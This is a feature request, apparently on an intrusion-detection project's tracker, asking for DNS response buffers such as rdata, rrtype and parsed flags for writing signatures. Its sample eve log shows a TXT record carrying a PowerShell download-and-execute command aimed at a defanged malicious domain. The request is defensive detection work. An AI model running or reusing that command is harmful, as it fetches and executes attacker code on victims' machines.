Description

Hi,

It would be nice to be able to include additional buffers for the DNS protocol responses to help write more efficient and effective signatures.

I think buffers for sections like rdata and rrtype should be included to cover things like data in TXT Records, but it could be expanded to cover the other sections of the response.

{  
   "timestamp":"2018-02-14T19:12:58.760866-0700",
   "flow_id":345727363089610,
   "pcap_cnt":4,
   "event_type":"dns",
   "src_ip":"8.8.8.8",
   "src_port":53,
   "dest_ip":"192.168.0.105",
   "dest_port":49153,
   "proto":"UDP",
   "dns":{  
      "type":"answer",
      "id":2,
      "rcode":"NOERROR",
      "rrname":"shinobotps1[.]com",
      "rrtype":"TXT",
      "ttl":3600,
      "rdata":"powershell IEX (New-Object Net.WebClient).DownloadString('hxxps:\/\/shinobotps1[.]com\/download_get.php');" 
   }
}

Thanks!

As discussed today in the 2020 brainstorm this is still a desired feature. It should be more or less trivial, but could serve as an example of unifying eve logged buffers, and buffers available for detection. At the very least, the rdata buffer should be exposed a sticky for content matches.

It would be nice to have all dns flags parsed as well

perhaps like a dns.flags.z, dns.flags.replycode, etc

doing so would avoid the use of byte_test which are often difficult to read for users attempted to understand the logic in a rule.
